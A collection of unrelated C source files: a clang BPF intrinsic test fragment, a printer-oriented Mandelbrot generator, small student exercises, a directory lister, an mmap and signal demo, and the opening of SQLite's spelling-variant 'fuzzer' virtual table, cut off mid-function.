// CHECK-NOT: getelementptr
// CHECK: call i32* @llvm.preserve.struct.access.index.p0i32.p0s_struct.s1s(%struct.s1* elementtype(%struct.s1) %{{[0-9a-z]+}}, i32 1, i32 1), !dbg !{{[0-9]+}}, !llvm.preserve.access.index ![[STRUCT_S1]]
const void *unit8(struct s2 *arg) {
return _(&arg->b);
}
// CHECK: define dso_local i8* @unit8
// CHECK-NOT: getelementptr
// CHECK: call i32* @llvm.preserve.struct.access.index.p0i32.p0s_struct.s2s(%struct.s2* elementtype(%struct.s2) %{{[0-9a-z]+}}, i32 1, i32 2), !dbg !{{[0-9]+}}, !llvm.preserve.access.index ![[STRUCT_S2:[0-9]+]]
const void *unit9(struct s3 *arg) {
return _(&arg->b);
}
// CHECK: define dso_local i8* @unit9
// CHECK-NOT: getelementptr
// CHECK: call i32* @llvm.preserve.struct.access.index.p0i32.p0s_struct.s3s(%struct.s3* elementtype(%struct.s3) %{{[0-9a-z]+}}, i32 1, i32 2), !dbg !{{[0-9]+}}, !llvm.preserve.access.index ![[STRUCT_S3:[0-9]+]]
union u1 {
char a;
int b;
};
union u2 {
char a;
int :32;
int b;
};
const void *unit10(union u1 *arg) {
return _(&arg->a);
}
// CHECK: define dso_local i8* @unit10
// CHECK-NOT: getelementptr
// CHECK: call %union.u1* @llvm.preserve.union.access.index.p0s_union.u1s.p0s_union.u1s(%union.u1* %{{[0-9a-z]+}}, i32 0), !dbg !{{[0-9]+}}, !llvm.preserve.access.index ![[UNION_U1:[0-9]+]]
const void *unit11(union u1 *arg) {
return _(&arg->b);
}
// CHECK: define dso_local i8* @unit11
// CHECK-NOT: getelementptr
// CHECK: call %union.u1* @llvm.preserve.union.access.index.p0s_union.u1s.p0s_union.u1s(%union.u1* %{{[0-9a-z]+}}, i32 1), !dbg !{{[0-9]+}}, !llvm.preserve.access.index ![[UNION_U1]]
const void *unit12(union u2 *arg) {
return _(&arg->b);
}
// CHECK: define dso_local i8* @unit12
// CHECK-NOT: getelementptr
// CHECK: call %union.u2* @llvm.preserve.union.access.index.p0s_union.u2s.p0s_union.u2s(%union.u2* %{{[0-9a-z]+}}, i32 1), !dbg !{{[0-9]+}}, !llvm.preserve.access.index ![[UNION_U2:[0-9]+]]
struct s4 {
char d;
union u {
int b[4];
char a;
} c;
};
union u3 {
struct s {
int b[4];
} c;
char a;
};
const void *unit13(struct s4 *arg) {
return _(&arg->c.b[2]);
}
// CHECK: define dso_local i8* @unit13
// CHECK: call %union.u* @llvm.preserve.struct.access.index.p0s_union.us.p0s_struct.s4s(%struct.s4* elementtype(%struct.s4) %{{[0-9a-z]+}}, i32 1, i32 1), !dbg !{{[0-9]+}}, !llvm.preserve.access.index ![[STRUCT_S4:[0-9]+]]
// CHECK: call %union.u* @llvm.preserve.union.access.index.p0s_union.us.p0s_union.us(%union.u* %{{[0-9a-z]+}}, i32 0), !dbg !{{[0-9]+}}, !llvm.preserve.access.index ![[UNION_I_U:[0-9]+]]
// CHECK: call i32* @llvm.preserve.array.access.index.p0i32.p0a4i32([4 x i32]* elementtype([4 x i32]) %{{[0-9a-z]+}}, i32 1, i32 2), !dbg !{{[0-9]+}}, !llvm.preserve.access.index !{{[0-9]+}}
const void *unit14(union u3 *arg) {
return _(&arg->c.b[2]);
}
// CHECK: define dso_local i8* @unit14
// CHECK: call %union.u3* @llvm.preserve.union.access.index.p0s_union.u3s.p0s_union.u3s(%union.u3* %{{[0-9a-z]+}}, i32 0), !dbg !{{[0-9]+}}, !llvm.preserve.access.index ![[UNION_U3:[0-9]+]]
// CHECK: call [4 x i32]* @llvm.preserve.struct.access.index.p0a4i32.p0s_struct.ss(%struct.s* elementtype(%struct.s) %{{[0-9a-z]+}}, i32 0, i32 0), !dbg !{{[0-9]+}}, !llvm.preserve.access.index ![[STRUCT_I_S:[0-9]+]]
// CHECK: call i32* @llvm.preserve.array.access.index.p0i32.p0a4i32([4 x i32]* elementtype([4 x i32]) %{{[0-9a-z]+}}, i32 1, i32 2), !dbg !{{[0-9]+}}, !llvm.preserve.access.index !{{[0-9]+}}
const void *unit15(struct s4 *arg) {
return _(&arg[2].c.a);
}
// CHECK: define dso_local i8* @unit15
// CHECK: call %struct.s4* @llvm.preserve.array.access.index.p0s_struct.s4s.p0s_struct.s4s(%struct.s4* elementtype(%struct.s4) %{{[0-9a-z]+}}, i32 0, i32 2), !dbg !{{[0-9]+}}, !llvm.preserve.access.index !{{[0-9]+}}
// CHECK: call %union.u* @llvm.preserve.struct.access.index.p0s_union.us.p0s_struct.s4s(%struct.s4* elementtype(%struct.s4) %{{[0-9a-z]+}}, i32 1, i32 1), !dbg !{{[0-9]+}}, !llvm.preserve.access.index ![[STRUCT_S4]]
// CHECK: call %union.u* @llvm.preserve.union.access.index.p0s_union.us.p0s_union.us(%union.u* %{{[0-9a-z]+}}, i32 1), !dbg !{{[0-9]+}}, !llvm.preserve.access.index ![[UNION_I_U]]
const void *unit16(union u3 *arg) {
return _(&arg[2].a);
}
// CHECK: define dso_local i8* @unit16
// CHECK: call %union.u3* @llvm.preserve.array.access.index.p0s_union.u3s.p0s_union.u3s(%union.u3* elementtype(%union.u3) %{{[0-9a-z]+}}, i32 0, i32 2), !dbg !{{[0-9]+}}, !llvm.preserve.access.index !{{[0-9]+}}
// CHECK: call %union.u3* @llvm.preserve.union.access.index.p0s_union.u3s.p0s_union.u3s(%union.u3* %{{[0-9a-z]+}}, i32 1), !dbg !{{[0-9]+}}, !llvm.preserve.access.index ![[UNION_U3]]
// CHECK: ![[POINTER]] = !DIDerivedType(tag: DW_TAG_pointer_type
// CHECK: ![[STRUCT_S4]] = distinct !DICompositeType(tag: DW_TAG_structure_type, name: "s4"
// CHECK: ![[UNION_I_U]] = distinct !DICompositeType(tag: DW_TAG_union_type, name: "u"
// CHECK: ![[UNION_U3]] = distinct !DICompositeType(tag: DW_TAG_union_type, name: "u3"
// CHECK: ![[STRUCT_I_S]] = distinct !DICompositeType(tag: DW_TAG_structure_type, name: "s"
// CHECK: ![[STRUCT_S1]] = distinct !DICompositeType(tag: DW_TAG_structure_type, name: "s1"
// CHECK: ![[STRUCT_S2]] = distinct !DICompositeType(tag: DW_TAG_structure_type, name: "s2"
// CHECK: ![[STRUCT_S3]] = distinct !DICompositeType(tag: DW_TAG_structure_type, name: "s3"
// CHECK: ![[UNION_U1]] = distinct !DICompositeType(tag: DW_TAG_union_type, name: "u1"
// CHECK: ![[UNION_U2]] = distinct !DICompositeType(tag: DW_TAG_union_type, name: "u2"
|
the_stack_data/52751.c | // Simple Mandelbrot generator - Eric F.
// May 17, 2019
// December 1, 2019 now with arguments
// June 4, 2021 character set and dimensions for Qume Sprint 11/55
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char* argv[]){
int x, y;
int i, iterations;
double centerRe, centerIm;
double mag;
double scaleRe, scaleIm;
double halfcolumns, halfrows;
double D, C, A, B, T;
/* For the Qume AT&T ASCII print wheel, these are the printable characters... */
char printstr[] = "!\"#$%&\')+,-./0123456789:;<=?ABCDEFGHJKMNOPQRSTUVWYZ\\^abcdfghijklmnopqrstuvwxyz{}";
// ! "#$%& ')+,-./0123456789:;<=?ABCDEFGHJKMNOPQRSTUVWYZ \^abcdfghijklmnopqrstuvwxyz{}
//char printstr[] = "MandElbrot";
/* print the printable characters (commented out) */
/*
printf("\n");
for (i=0;i<=strlen(printstr);i++) printf("%c",printstr[i]);
printf("\n");
*/
//to-do: set these as definitions...
halfcolumns = 158/2; /* Prestige Elite wheel is 12 characters / inch = 158 characters */
halfrows = 36; /* set at 8 rows / in - 4 row margins on top and bottom */
scaleRe = 2.0/halfcolumns;
// scaleIm = 1.66*scaleRe;
scaleIm = 1.5*scaleRe;
// eventually accept input here
if (argc < 2) {
centerRe = 0.;
centerIm = 0;
mag = 1.;
}
else if (argc >= 3 && argc <= 4) {
centerRe = strtod(argv[1],NULL);
centerIm = strtod(argv[2],NULL);
mag = 1;
if (argc == 4)
mag = strtod(argv[3],NULL);
}
else {
printf("Usage: mbrot [centerRe centerIm] [mag]\n");
printf("Interesting values:\n");
printf(" -0.46714 0.63632 50\n");
printf(" -0.1528 1.0397 100\n");
printf(" -1.25 0.05 2\n");
return 0;
}
iterations = 100000;
// printf("\n\n\n\n\n");
for (y=halfrows; y>-halfrows; y--){
D=y*scaleIm/mag+centerIm;
for (x=-halfcolumns; x<halfcolumns; x++){
C = x*scaleRe/mag+centerRe;
A=C; B=D;
i=0;
while (i <= iterations){
if ((A*A+B*B)>4){
// printf("%c",(i % 63)+33); /* for ASCII-63 */
printf("%c",(printstr[i % strlen(printstr)]));
break; /* leave the iterations */
}
else{
T=A*A-B*B+C;
B=2*A*B+D;
A=T;
}
i++;
}
if(i>iterations){
printf(" ");
}
}
printf("\r\n");
}
printf("\n\nMandelbrot Set from %+f%+fi TO %+f%+fi\r\n",
-halfcolumns*scaleRe/mag+centerRe,
halfrows*scaleIm/mag+centerIm,
halfcolumns*scaleRe/mag+centerRe,
-halfrows*scaleIm/mag+centerIm);
printf("Center: %+f%+fi, Magnification: %f\n",
centerRe, centerIm, mag);
printf("\f");
//printf("\n\n\n\n\n");
}
|
the_stack_data/87637976.c | #include <stdio.h>
#include <stdbool.h>
#include <stdlib.h>
#include <string.h>
//Maximum size of our stack and hence our input
#define MAX_SIZE 10000
//Declare our array to be used as a stack
int stack[MAX_SIZE];
//Initialize variable that points to the top of the stack
int top = -1;
//Function Declarations
bool push(int data);
void display();
bool pop(int* returnData);
bool isEmpty();
int main()
{
//Take user denary input
int num;
scanf("%d", &num);
//While num is not zero, push the remainders of num % 2 onto stack and make num be num / 2 at each step of the loop
while(num != 0)
{
push((num % 2));
num = num / 2;
}
int popResult;
//Finally popping and printing each element until stack is empty will give us the binary representation of our supplied denary number
while(!isEmpty())
{
pop(&popResult);
printf("%d ", popResult);
}
printf("\n");
//We could also just do this instead, and display the stack
//Will achieve the same goal
//display();
return EXIT_SUCCESS;
}
//Function definitions
bool push(int data)
{
//if top is at MAX_SIZE - 1 then our stack array is full
if(top == MAX_SIZE - 1)
{
return false;
}
//increment top to point to free space
top++;
//store our data in that empty space
stack[top] = data;
return true;
}
bool pop(int* returnData)
{
//check if stack is empty already
if(top == -1)
{
return false;
}
//return the popped data
*returnData = stack[top];
top--;
return true;
}
//Not needed for this exercise
//Only needed for previous exercises
void display()
{
//check if stack is already empty
if(top == -1)
{
printf("The stack is empty!\n");
}
else
{
for(int i = top; i >= 0; i--)
{
printf("%d ", stack[i]);
}
printf("\n");
}
}
//Function to check whether our stack is empty or not
bool isEmpty()
{
if(top == -1) return true;
return false;
} |
the_stack_data/150141839.c | #include <stdio.h>
int main ()
{
return 0;
}
|
the_stack_data/144024.c | #include <stdio.h>
int min(int a, int b);
int
main(){
int a, b;
scanf("%d%d", &a, &b);
printf("%d\n", min(a, b));
return 0;
} |
the_stack_data/26701032.c | //
// pr_pset05_09:
// temp.c -- calculates Celsius and Kelvin temperatures
//
// Write a program that requests the user to enter a Fahrenheit temperature.
// The program should read the temperature as a type double number and pass it
// as an argument to a user-supplied function called Temperatures().
// This function should calculate the Celsius equivalent and the Kelvin
// equivalent and display all three temperatures with a precision of two places
// to the right of the decimal. It should identify each value with
// the temperature scale it represents. Here is the formula for converting
// Fahrenheit to Celsius:
//
// Celsius = 5.0 / 9.0 * (Fahrenheit - 32.0)
//
// The Kelvin scale, commonly used in science, is a scale in which 0 represents
// absolute zero, the lower limit to possible temperatures. Here is the formula
// for converting Celsius to Kelvin:
//
// Kelvin = Celsius + 273.16
//
// The Temperatures() function should use const to create symbolic
// representations of the three constants that appear in the conversions.
// The main() function should use a loop to allow the user to enter temperatures
// repeatedly, stopping when a q or other nonnumeric value is entered.
// Use the fact that scanf() returns the number of items read, so it will return
// 1 if it reads a number, but it won’t return 1 if the user enters q.
// The == operator tests for equality, so you can use it to compare the return
// value of scanf() with 1.
//
#include <stdio.h>
#define C_TO_K 273.16
#define FAHR_TO_C 5.0 / 9.0
#define DEGREES 32.0
void temperature(double fahr);
int main(void)
{
double fahr;
int test;
printf("Enter temperature in Fahrenheit: ");
test = scanf("%lf", &fahr);
while (test > 0)
{
temperature(fahr);
printf("Enter temperature in Fahrenheit ('q' to quit): ");
test = scanf("%lf", &fahr);
}
printf("Done\n");
return 0;
}
void temperature(double fahr)
{
double cels, kelv;
cels = FAHR_TO_C * (fahr - DEGREES);
kelv = cels + C_TO_K;
printf("%.2lfºF is %.2lfºC or %.2lfºK\n", fahr, cels, kelv);
}
|
the_stack_data/1033380.c | /* { dg-do compile } */
/* { dg-options "-O -fdump-tree-fre1" } */
int i;
int foo (void)
{
int j;
i = j;
return i;
}
/* We should eliminate the redundant load of i. */
/* { dg-final { scan-tree-dump-not "= i;" "fre1" } } */
|
the_stack_data/89199975.c | // How to print % in C
//----------------------------------------------------------------
// Doubt by my Computer Engineering Professor [Prof Fr Dr A K George]
#include<stdio.h>
void main() // Main Function
{
printf("printf(\"%%d\",c);"); // Simple but confusing
/*
CONCEPT :
----------------------------------
%% => for showing the % percentage symbol
\" => for printing the " double quotes (without causing error)
Then, printing the letter "d"
*/
}
// Code by Abel Roy //
|
the_stack_data/503680.c | #include <stdio.h>
int main() {
int n;
while(scanf("%d", &n) == 1) if (n%2==0) printf("%d ", n);
return 0;
}
|
the_stack_data/67325448.c | #include<fcntl.h>
#include<sys/stat.h>
#include<stdio.h>
#include<errno.h>
#include<string.h>
#include<unistd.h>
#include<time.h>
#include<dirent.h>
extern int errno;
int main(int argc, char **argv) {
DIR *dir;
struct dirent *dent;
if (argc != 2)
printf("Usage: ./lab2.2.17 (filename)\n");
else if ((dir = opendir(argv[1])) != NULL) {
while((dent = readdir(dir)) != NULL) {
int len = strlen(argv[1]) + 1 + strlen(dent->d_name);
char aux[len];
if(strcmp(dent->d_name, ".")==0 || strcmp(dent->d_name, "..")==0)
continue;
else if (dent->d_type == DT_DIR)
printf("%s/\n", dent->d_name);
else if (dent->d_type == DT_LNK){
printf("%s->\n", dent->d_name);
}
else if (dent->d_type == DT_REG){
strcpy(aux, argv[1]);
strcat(aux, "/");
strcat(aux, dent->d_name);
printf("%s\n", aux);
if (access(aux, X_OK) < 0)
printf("%s\n", dent->d_name);
else
printf("%s*\n", dent->d_name);
}
}
}
closedir(dir);
return 0;
} |
the_stack_data/117328541.c | #include <sys/types.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
void sig_handler(int signo) {
printf("Signal Handler Signal Number: %d\n", signo);
}
int main(int argc, char *argv[]) {
int fd, status;
pid_t pid;
caddr_t addr;
struct stat statbuf;
void (*handling)(int);
if (argc != 2) {
fprintf(stderr, "Usage: %s filename\n", argv[0]);
exit(1);
}
if (stat(argv[1], &statbuf) == -1) {
perror("stat");
exit(1);
}
if ((fd = open(argv[1], O_RDWR)) == -1) {
perror("open");
exit(1);
}
addr = mmap(NULL, statbuf.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, (off_t) 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
close(fd);
handling = signal(SIGUSR1, sig_handler);
if (handling == SIG_ERR) {
perror("signal");
exit(1);
}
switch(pid = fork()) {
case -1: /* fork failed */
perror("fork");
exit(1);
break;
case 0: /* child process */
strcpy(addr, "hello\n");
kill(getppid(), SIGUSR1);
break;
default: /* parent process */
while (wait(&status) != pid)
continue;
printf("Child Process Message: %s\n", addr);
break;
}
return 0;
}
|
the_stack_data/165768076.c | /*
** 2011 March 24
**
** The author disclaims copyright to this source code. In place of
** a legal notice, here is a blessing:
**
** May you do good and not evil.
** May you find forgiveness for yourself and forgive others.
** May you share freely, never taking more than you give.
**
*************************************************************************
**
** Code for a demonstration virtual table that generates variations
** on an input word at increasing edit distances from the original.
**
** A fuzzer virtual table is created like this:
**
** CREATE VIRTUAL TABLE f USING fuzzer(<fuzzer-data-table>);
**
** When it is created, the new fuzzer table must be supplied with the
** name of a "fuzzer data table", which must reside in the same database
** file as the new fuzzer table. The fuzzer data table contains the various
** transformations and their costs that the fuzzer logic uses to generate
** variations.
**
** The fuzzer data table must contain exactly four columns (more precisely,
** the statement "SELECT * FROM <fuzzer_data_table>" must return records
** that consist of four columns). It does not matter what the columns are
** named.
**
** Each row in the fuzzer data table represents a single character
** transformation. The left most column of the row (column 0) contains an
** integer value - the identifier of the ruleset to which the transformation
** rule belongs (see "MULTIPLE RULE SETS" below). The second column of the
** row (column 0) contains the input character or characters. The third
** column contains the output character or characters. And the fourth column
** contains the integer cost of making the transformation. For example:
**
** CREATE TABLE f_data(ruleset, cFrom, cTo, Cost);
** INSERT INTO f_data(ruleset, cFrom, cTo, Cost) VALUES(0, '', 'a', 100);
** INSERT INTO f_data(ruleset, cFrom, cTo, Cost) VALUES(0, 'b', '', 87);
** INSERT INTO f_data(ruleset, cFrom, cTo, Cost) VALUES(0, 'o', 'oe', 38);
** INSERT INTO f_data(ruleset, cFrom, cTo, Cost) VALUES(0, 'oe', 'o', 40);
**
** The first row inserted into the fuzzer data table by the SQL script
** above indicates that the cost of inserting a letter 'a' is 100. (All
** costs are integers. We recommend that costs be scaled so that the
** average cost is around 100.) The second INSERT statement creates a rule
** saying that the cost of deleting a single letter 'b' is 87. The third
** and fourth INSERT statements mean that the cost of transforming a
** single letter "o" into the two-letter sequence "oe" is 38 and that the
** cost of transforming "oe" back into "o" is 40.
**
** The contents of the fuzzer data table are loaded into main memory when
** a fuzzer table is first created, and may be internally reloaded by the
** system at any subsequent time. Therefore, the fuzzer data table should be
** populated before the fuzzer table is created and not modified thereafter.
** If you do need to modify the contents of the fuzzer data table, it is
** recommended that the associated fuzzer table be dropped, the fuzzer data
** table edited, and the fuzzer table recreated within a single transaction.
** Alternatively, the fuzzer data table can be edited then the database
** connection can be closed and reopened.
**
** Once it has been created, the fuzzer table can be queried as follows:
**
** SELECT word, distance FROM f
** WHERE word MATCH 'abcdefg'
** AND distance<200;
**
** This first query outputs the string "abcdefg" and all strings that
** can be derived from that string by appling the specified transformations.
** The strings are output together with their total transformation cost
** (called "distance") and appear in order of increasing cost. No string
** is output more than once. If there are multiple ways to transform the
** target string into the output string then the lowest cost transform is
** the one that is returned. In the example, the search is limited to
** strings with a total distance of less than 200.
**
** The fuzzer is a read-only table. Any attempt to DELETE, INSERT, or
** UPDATE on a fuzzer table will throw an error.
**
** It is important to put some kind of a limit on the fuzzer output. This
** can be either in the form of a LIMIT clause at the end of the query,
** or better, a "distance<NNN" constraint where NNN is some number. The
** running time and memory requirement is exponential in the value of NNN
** so you want to make sure that NNN is not too big. A value of NNN that
** is about twice the average transformation cost seems to give good results.
**
** The fuzzer table can be useful for tasks such as spelling correction.
** Suppose there is a second table vocabulary(w) where the w column contains
** all correctly spelled words. Let $word be a word you want to look up.
**
** SELECT vocabulary.w FROM f, vocabulary
** WHERE f.word MATCH $word
** AND f.distance<=200
** AND f.word=vocabulary.w
** LIMIT 20
**
** The query above gives the 20 closest words to the $word being tested.
** (Note that for good performance, the vocubulary.w column should be
** indexed.)
**
** A similar query can be used to find all words in the dictionary that
** begin with some prefix $prefix:
**
** SELECT vocabulary.w FROM f, vocabulary
** WHERE f.word MATCH $prefix
** AND f.distance<=200
** AND vocabulary.w BETWEEN f.word AND (f.word || x'F7BFBFBF')
** LIMIT 50
**
** This last query will show up to 50 words out of the vocabulary that
** match or nearly match the $prefix.
**
** MULTIPLE RULE SETS
**
** Normally, the "ruleset" value associated with all character transformations
** in the fuzzer data table is zero. However, if required, the fuzzer table
** allows multiple rulesets to be defined. Each query uses only a single
** ruleset. This allows, for example, a single fuzzer table to support
** multiple languages.
**
** By default, only the rules from ruleset 0 are used. To specify an
** alternative ruleset, a "ruleset = ?" expression must be added to the
** WHERE clause of a SELECT, where ? is the identifier of the desired
** ruleset. For example:
**
** SELECT vocabulary.w FROM f, vocabulary
** WHERE f.word MATCH $word
** AND f.distance<=200
** AND f.word=vocabulary.w
** AND f.ruleset=1 -- Specify the ruleset to use here
** LIMIT 20
**
** If no "ruleset = ?" constraint is specified in the WHERE clause, ruleset
** 0 is used.
**
** LIMITS
**
** The maximum ruleset number is 2147483647. The maximum length of either
** of the strings in the second or third column of the fuzzer data table
** is 50 bytes. The maximum cost on a rule is 1000.
*/
#include "sqlite3ext.h"
SQLITE_EXTENSION_INIT1
/* If SQLITE_DEBUG is not defined, disable assert statements. */
#if !defined(NDEBUG) && !defined(SQLITE_DEBUG)
# define NDEBUG
#endif
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include <stdio.h>
#ifndef SQLITE_OMIT_VIRTUALTABLE
/*
** Forward declaration of objects used by this implementation
*/
typedef struct fuzzer_vtab fuzzer_vtab;
typedef struct fuzzer_cursor fuzzer_cursor;
typedef struct fuzzer_rule fuzzer_rule;
typedef struct fuzzer_seen fuzzer_seen;
typedef struct fuzzer_stem fuzzer_stem;
/*
** Various types.
**
** fuzzer_cost is the "cost" of an edit operation.
**
** fuzzer_len is the length of a matching string.
**
** fuzzer_ruleid is an ruleset identifier.
*/
typedef int fuzzer_cost;
typedef signed char fuzzer_len;
typedef int fuzzer_ruleid;
/*
** Limits
*/
#define FUZZER_MX_LENGTH 50 /* Maximum length of a rule string */
#define FUZZER_MX_RULEID 2147483647 /* Maximum rule ID */
#define FUZZER_MX_COST 1000 /* Maximum single-rule cost */
#define FUZZER_MX_OUTPUT_LENGTH 100 /* Maximum length of an output string */
/*
** Each transformation rule is stored as an instance of this object.
** All rules are kept on a linked list sorted by rCost.
*/
struct fuzzer_rule {
fuzzer_rule *pNext; /* Next rule in order of increasing rCost */
char *zFrom; /* Transform from */
fuzzer_cost rCost; /* Cost of this transformation */
fuzzer_len nFrom, nTo; /* Length of the zFrom and zTo strings */
fuzzer_ruleid iRuleset; /* The rule set to which this rule belongs */
char zTo[4]; /* Transform to (extra space appended) */
};
/*
** A stem object is used to generate variants. It is also used to record
** previously generated outputs.
**
** Every stem is added to a hash table as it is output. Generation of
** duplicate stems is suppressed.
**
** Active stems (those that might generate new outputs) are kepts on a linked
** list sorted by increasing cost. The cost is the sum of rBaseCost and
** pRule->rCost.
*/
struct fuzzer_stem {
char *zBasis; /* Word being fuzzed */
const fuzzer_rule *pRule; /* Current rule to apply */
fuzzer_stem *pNext; /* Next stem in rCost order */
fuzzer_stem *pHash; /* Next stem with same hash on zBasis */
fuzzer_cost rBaseCost; /* Base cost of getting to zBasis */
fuzzer_cost rCostX; /* Precomputed rBaseCost + pRule->rCost */
fuzzer_len nBasis; /* Length of the zBasis string */
fuzzer_len n; /* Apply pRule at this character offset */
};
/*
** A fuzzer virtual-table object
*/
struct fuzzer_vtab {
sqlite3_vtab base; /* Base class - must be first */
char *zClassName; /* Name of this class. Default: "fuzzer" */
fuzzer_rule *pRule; /* All active rules in this fuzzer */
int nCursor; /* Number of active cursors */
};
#define FUZZER_HASH 4001 /* Hash table size */
#define FUZZER_NQUEUE 20 /* Number of slots on the stem queue */
/* A fuzzer cursor object */
struct fuzzer_cursor {
sqlite3_vtab_cursor base; /* Base class - must be first */
sqlite3_int64 iRowid; /* The rowid of the current word */
fuzzer_vtab *pVtab; /* The virtual table this cursor belongs to */
fuzzer_cost rLimit; /* Maximum cost of any term */
fuzzer_stem *pStem; /* Stem with smallest rCostX */
fuzzer_stem *pDone; /* Stems already processed to completion */
fuzzer_stem *aQueue[FUZZER_NQUEUE]; /* Queue of stems with higher rCostX */
int mxQueue; /* Largest used index in aQueue[] */
char *zBuf; /* Temporary use buffer */
int nBuf; /* Bytes allocated for zBuf */
int nStem; /* Number of stems allocated */
int iRuleset; /* Only process rules from this ruleset */
fuzzer_rule nullRule; /* Null rule used first */
fuzzer_stem *apHash[FUZZER_HASH]; /* Hash of previously generated terms */
};
/*
** The two input rule lists are both sorted in order of increasing
** cost. Merge them together into a single list, sorted by cost, and
** return a pointer to the head of that list.
*/
static fuzzer_rule *fuzzerMergeRules(fuzzer_rule *pA, fuzzer_rule *pB){
fuzzer_rule head;
fuzzer_rule *pTail;
pTail = &head;
while( pA && pB ){
if( pA->rCost<=pB->rCost ){
pTail->pNext = pA;
pTail = pA;
pA = pA->pNext;
}else{
pTail->pNext = pB;
pTail = pB;
pB = pB->pNext;
}
}
if( pA==0 ){
pTail->pNext = pB;
}else{
pTail->pNext = pA;
}
return head.pNext;
}
/*
** Statement pStmt currently points to a row in the fuzzer data table. This
** function allocates and populates a fuzzer_rule structure according to
** the content of the row.
**
** If successful, *ppRule is set to point to the new object and SQLITE_OK
** is returned. Otherwise, *ppRule is zeroed, *pzErr may be set to point
** to an error message and an SQLite error code returned.
*/
static int fuzzerLoadOneRule(
fuzzer_vtab *p, /* Fuzzer virtual table handle */
sqlite3_stmt *pStmt, /* Base rule on statements current row */
fuzzer_rule **ppRule, /* OUT: New rule object */
char **pzErr /* OUT: Error message */
){
sqlite3_int64 iRuleset = sqlite3_column_int64(pStmt, 0);
const char *zFrom = (const char *)sqlite3_column_text(pStmt, 1);
const char *zTo = (const char *)sqlite3_column_text(pStmt, 2);
int nCost = sqlite3_column_int(pStmt, 3);
int rc = SQLITE_OK; /* Return code */
int nFrom; /* Size of string zFrom, in bytes */
int nTo; /* Size of string zTo, in bytes */
fuzzer_rule *pRule = 0; /* New rule object to return */
if( zFrom==0 ) zFrom = "";
if( zTo==0 ) zTo = "";
nFrom = (int)strlen(zFrom);
nTo = (int)strlen(zTo);
/* Silently ignore null transformations */
if( strcmp(zFrom, zTo)==0 ){
*ppRule = 0;
return SQLITE_OK;
}
if( nCost<=0 || nCost>FUZZER_MX_COST ){
*pzErr = sqlite3_mprintf("%s: cost must be between 1 and %d",
p->zClassName, FUZZER_MX_COST
);
rc = SQLITE_ERROR;
}else
if( nFrom>FUZZER_MX_LENGTH || nTo>FUZZER_MX_LENGTH ){
*pzErr = sqlite3_mprintf("%s: maximum string length is %d",
p->zClassName, FUZZER_MX_LENGTH
);
rc = SQLITE_ERROR;
}else
if( iRuleset<0 || iRuleset>FUZZER_MX_RULEID ){
*pzErr = sqlite3_mprintf("%s: ruleset must be between 0 and %d",
p->zClassName, FUZZER_MX_RULEID
);
rc = SQLITE_ERROR;
}else{
pRule = sqlite3_malloc( sizeof(*pRule) + nFrom + nTo );
if( pRule==0 ){
rc = SQLITE_NOMEM;
}else{
memset(pRule, 0, sizeof(*pRule));
pRule->zFrom = pRule->zTo;
pRule->zFrom += nTo + 1;
pRule->nFrom = (fuzzer_len)nFrom;
memcpy(pRule->zFrom, zFrom, nFrom+1);
memcpy(pRule->zTo, zTo, nTo+1);
pRule->nTo = (fuzzer_len)nTo;
pRule->rCost = nCost;
pRule->iRuleset = (int)iRuleset;
}
}
*ppRule = pRule;
return rc;
}
/*
** Load the content of the fuzzer data table into memory.
*/
static int fuzzerLoadRules(
sqlite3 *db, /* Database handle */
fuzzer_vtab *p, /* Virtual fuzzer table to configure */
const char *zDb, /* Database containing rules data */
const char *zData, /* Table containing rules data */
char **pzErr /* OUT: Error message */
){
int rc = SQLITE_OK; /* Return code */
char *zSql; /* SELECT used to read from rules table */
fuzzer_rule *pHead = 0;
zSql = sqlite3_mprintf("SELECT * FROM %Q.%Q", zDb, zData);
if( zSql==0 ){
rc = SQLITE_NOMEM;
}else{
int rc2; /* finalize() return code */
sqlite3_stmt *pStmt = 0;
rc = sqlite3_prepare_v2(db, zSql, -1, &pStmt, 0);
if( rc!=SQLITE_OK ){
*pzErr = sqlite3_mprintf("%s: %s", p->zClassName, sqlite3_errmsg(db));
}else if( sqlite3_column_count(pStmt)!=4 ){
*pzErr = sqlite3_mprintf("%s: %s has %d columns, expected 4",
p->zClassName, zData, sqlite3_column_count(pStmt)
);
rc = SQLITE_ERROR;
}else{
while( rc==SQLITE_OK && SQLITE_ROW==sqlite3_step(pStmt) ){
fuzzer_rule *pRule = 0;
rc = fuzzerLoadOneRule(p, pStmt, &pRule, pzErr);
if( pRule ){
pRule->pNext = pHead;
pHead = pRule;
}
}
}
rc2 = sqlite3_finalize(pStmt);
if( rc==SQLITE_OK ) rc = rc2;
}
sqlite3_free(zSql);
/* All rules are now in a singly linked list starting at pHead. This
** block sorts them by cost and then sets fuzzer_vtab.pRule to point to
** point to the head of the sorted list.
*/
if( rc==SQLITE_OK ){
unsigned int i;
fuzzer_rule *pX;
fuzzer_rule *a[15];
for(i=0; i<sizeof(a)/sizeof(a[0]); i++) a[i] = 0;
while( (pX = pHead)!=0 ){
pHead = pX->pNext;
pX->pNext = 0;
for(i=0; a[i] && i<sizeof(a)/sizeof(a[0])-1; i++){
pX = fuzzerMergeRules(a[i], pX);
a[i] = 0;
}
a[i] = fuzzerMergeRules(a[i], pX);
}
for(pX=a[0], i=1; i<sizeof(a)/sizeof(a[0]); i++){
pX = fuzzerMergeRules(a[i], pX);
}
p->pRule = fuzzerMergeRules(p->pRule, pX);
}else{
/* An error has occurred. Setting p->pRule to point to the head of the
** allocated list ensures that the list will be cleaned up in this case.
*/
assert( p->pRule==0 );
p->pRule = pHead;
}
return rc;
}
/*
** This function converts an SQL quoted string into an unquoted string
** and returns a pointer to a buffer allocated using sqlite3_malloc()
** containing the result. The caller should eventually free this buffer
** using sqlite3_free.
**
** Examples:
**
** "abc" becomes abc
** 'xyz' becomes xyz
** [pqr] becomes pqr
** `mno` becomes mno
*/
static char *fuzzerDequote(const char *zIn){
int nIn; /* Size of input string, in bytes */
char *zOut; /* Output (dequoted) string */
nIn = (int)strlen(zIn);
zOut = sqlite3_malloc(nIn+1);
if( zOut ){
char q = zIn[0]; /* Quote character (if any ) */
if( q!='[' && q!= '\'' && q!='"' && q!='`' ){
memcpy(zOut, zIn, nIn+1);
}else{
